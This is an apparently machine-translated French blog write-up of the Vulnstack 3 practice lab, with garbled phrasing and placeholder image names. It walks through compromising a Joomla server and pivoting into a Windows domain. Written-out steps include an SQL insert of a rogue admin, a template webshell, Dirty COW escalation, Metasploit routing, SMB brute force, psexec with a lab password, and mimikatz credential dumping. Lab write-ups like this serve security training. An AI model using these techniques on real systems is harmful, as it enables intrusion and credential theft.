Combat de drone dans l'environnement de terrain Vulnstack 3

Configuration de l'environnement

L'environnement du site officiel à télécharger vers le bas, il suffit d'ajouter la carte appropriée un VMNET2 et un segment IP192.168.93.0/24

Besoin d'entrer centos pour redémarrer la carte réseau, au moins je l'ai fait pour trouver l'IP.

Cet article comprend des exercices pratiques sur des points de connaissances: Joomla de Vulnhub (cette leçon explique principalement les exercices *** complets de Vulnhub *** teste le champ de tir de combat réel sur Joomla CMS, à travers cette expérience, apprenez la collecte d'informations, l'analyse de vulnérabilité et l'utilisation du test *** , Le privilège est élevé et finalement le drapeau sous / root est obtenu.)

Topologie

Créer un nouveau document DOC 180.png

Entrée WEB

Découverte d'hôte

nmap -sn 192.168.124.0/24

Nouveau document DOC 219.png

Port

nmap -sS 192.168.124.16

Nouveau document DOC 369.png

Trois ports ont été collectés, nous ne les analyserons donc pas tous pour le moment. Regardez d'abord la page d'accueil du site Web, comme suit.

Nouveau document DOC 402.png

site Internet

C'est une page Web de joomla, et un administrateur est placé derrière l'url. Vous pouvez voir l'arrière-plan, voir l'arrière-plan et voir l'arrière-plan . Je suis toujours une personne plus optimiste, je veux toujours essayer un ou deux mots de passe faibles. La réalité me donnera toujours une claque retentissante et échouera.

Nouveau document DOC 510.png

J'ai dû extraire dirsearch, puis analyser le répertoire:

Créer un nouveau document DOC 535.png

Ceci est php~le suffixe à la fin et ne doit pas être exécuté en tant que php, donc,

Nouveau document DOC 568.png

À ce stade, vous pouvez vous connecter à la base de données, puis trouver le mot de passe pour entrer en arrière-plan.

Créer un nouveau document DOC 595.png

Voulez-vous toujours que je souffle? Si vous me laissez exploser, ce doit être un mot de passe faible. Allez d'abord à la puce en ligne (dictionnaire), sortez le gros ananas (john) et balayez-le simplement. Lorsque la balle est terminée et que l'ennemi ne bouge pas du tout, alors déclarez un échec. On dit que l'échec est le père du succès. Puis j'ai changé d'avis pour en construire un identique localement. Copiez ensuite le champ de mot de passe de votre mysql dans la base de données cible ou ajoutez un nouvel utilisateur. Trop paresseux est le péché d'origine. Ensuite, trouvez une méthode à ajouter directement à la base de données sur Internet, à < https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn> ;

Nouveau document DOC 951.png

Changez-le simplement en nom de table sur la machine cible:

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

# 这里就是添加了一个admin2的用户,密码为secret

Créer un nouveau document DOC 1351.png

Bien que le format du mot de passe soit différent, il peut toujours entrer en arrière-plan.

Créer un nouveau document DOC 1373.png

Vous pouvez modifier le code source du site Web dans le modèle: Extensions -> Modèles, insérer une phrase dans index.php et l'enregistrer.

Nouveau document DOC 1433.png

Nouveau document DOC 1435.png

Il est temps de montrer l'épée de Shangfang-l'épée de fourmi, le coup fatal est entré dans l'intranet. Puis il s'est renversé

Créer un nouveau document DOC 1467.png

Ce ,,, s'est avéré être une fonction dangereuse qui a été désactivée. Bien que la commande ne puisse pas être exécutée, la version de php peut être vue, qui est php7. Ensuite, j'ai trouvé que Ant Sword avait un plug-in spécial pour contourner disable_function, qui a une bonne posture et un peu renard. Ensuite, essayez un par un pour contourner php7.

Créer un nouveau document DOC 1572.png

En cas de contournement, une nouvelle interface shell interactive apparaîtra

Nouveau document DOC 1595.png

Intranet ***

La permission est trop faible, c'est une permission www-data. Je crois qu'après beaucoup d'efforts pour utiliser diverses postures pour augmenter le pouvoir, il y aura toujours du désespoir. Il se peut que vous n'ayez pas fait un bon travail de collecte d'informations, en recherchant: les tâches chronométrées, / home, / etc / passwd, le répertoire racine du site Web, le répertoire / tmp. Enfin, /tmp/mysql/test.txtvoyez le nom d'utilisateur et le mot de passe dans

Nouveau document DOC 1729.png

Mais l'utilisateur wwwuser n'a pas été trouvé sur cette machine. Essayez simplement sans commettre de crime.

Créer un nouveau document DOC 1770.png

At-il réussi? Il est supposé que le transfert doit être effectué pour transmettre la demande http à l'hôte sur le réseau interne, et le réseau interne peut continuer à ***.

Nouveau document DOC 1814.png

Il y a trois cartes réseau de l'hôte connectées par ssh, l'une est connectée au réseau externe et l'autre est connectée au réseau interne.

Nouveau document DOC 1850.png

Ensuite, l'hôte de ce réseau externe a été soulevé, et tout s'est bien passé, et il a semblé être prêt. J'ai vu que le noyau était 2.6.32 et que c'était un système d'exploitation centos, et j'ai utilisé directement des vaches sales pour augmenter les droits.

Nouveau document DOC 1919.png

Obtenez une session msf, puis ***.

Obtenir une session msf

Arrière***

Ajouter un itinéraire

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.93.0/255.255.255.0

Ajouter un itinéraire

Détecter la survie des hôtes internes

# 针对windows
use auxiliary/scanner/smb/smb_version 

# linux 
use auxiliary/scanner/discovery/arp_sweep  用这个没有探测出windows主机

Enfin tous les hôtes sont comme suit

Tous les hôtes

Trois fenêtres, deux utilisant ms17-010, en vain. Aucun des deux ne peut avoir de conversation.

Échec de la conversation

Ah, ça ... Enfin, j'ai emprunté la méthode des autres, qui s'est avérée être explosive. Le dictionnaire n'était pas assez fort, et finalement le mot de passe a été ajouté au dictionnaire (impuissant). Si j'éclate

use auxiliary/scanner/smb/smb_login

set SMBUSER administrator

set PASS_FILE /root/桌面/passlist

Obtenir la session

Engagez la conversation. La situation actuelle est que Windows est dans le réseau interne. L'itinéraire ajouté consiste à amener la machine VPN sur le réseau interne. Si vous utilisez reverse_tcp, vous ne pouvez pas vous connecter et vous ne pouvez vous connecter que dans le sens aller.

use exploit/windows/smb/psexec

set payload windows/x64/meterpreter/bind_tcp

set rhosts 192.168.93.30

set smbuser administrator

set smbpass 123qwe!ASD

Ensuite, j'ai eu deux sessions, cet exploit nécessite encore quelques tentatives.

l'exploit obtient la session

Vérifiez si vous êtes dans l'environnement du domaine

meterpreter > sysinfo

meterpreter> sysinfo

Supprimer le contrôle de domaine

Recherchez l'enregistrement de la connexion du contrôleur de domaine sur server2008, puis utilisez mimikatz pour obtenir le mot de passe du contrôleur de domaine en texte clair.

load mimikatz

mimikatz_command -f privilege::debug

mimikatz_command -f sekurlsa::logonPasswords

Nouveau document DOC 2833.png

Obtenez le mot de passe du compte administrateur de domaine. En raison de la particularité du mot de passe, l'utilisation de wmiexec.py a échoué. Les deux !!sont des symboles spéciaux sous Linux, ce qui signifie de réexécuter la commande précédente. Ensuite, récupérez le shell via la méthode suivante

L'utilisateur actuel est

Utilisateur actuel

informations utilisateur

Connexion à distance

run post/windows/manage/enable_rdp 

proxychains rdesktop 192.168.93.20

Lien à distanceVeuillez ajouter une description du lien

Je suppose que tu aimes

Origine blog.51cto.com/14601372/2588792
conseillé
Classement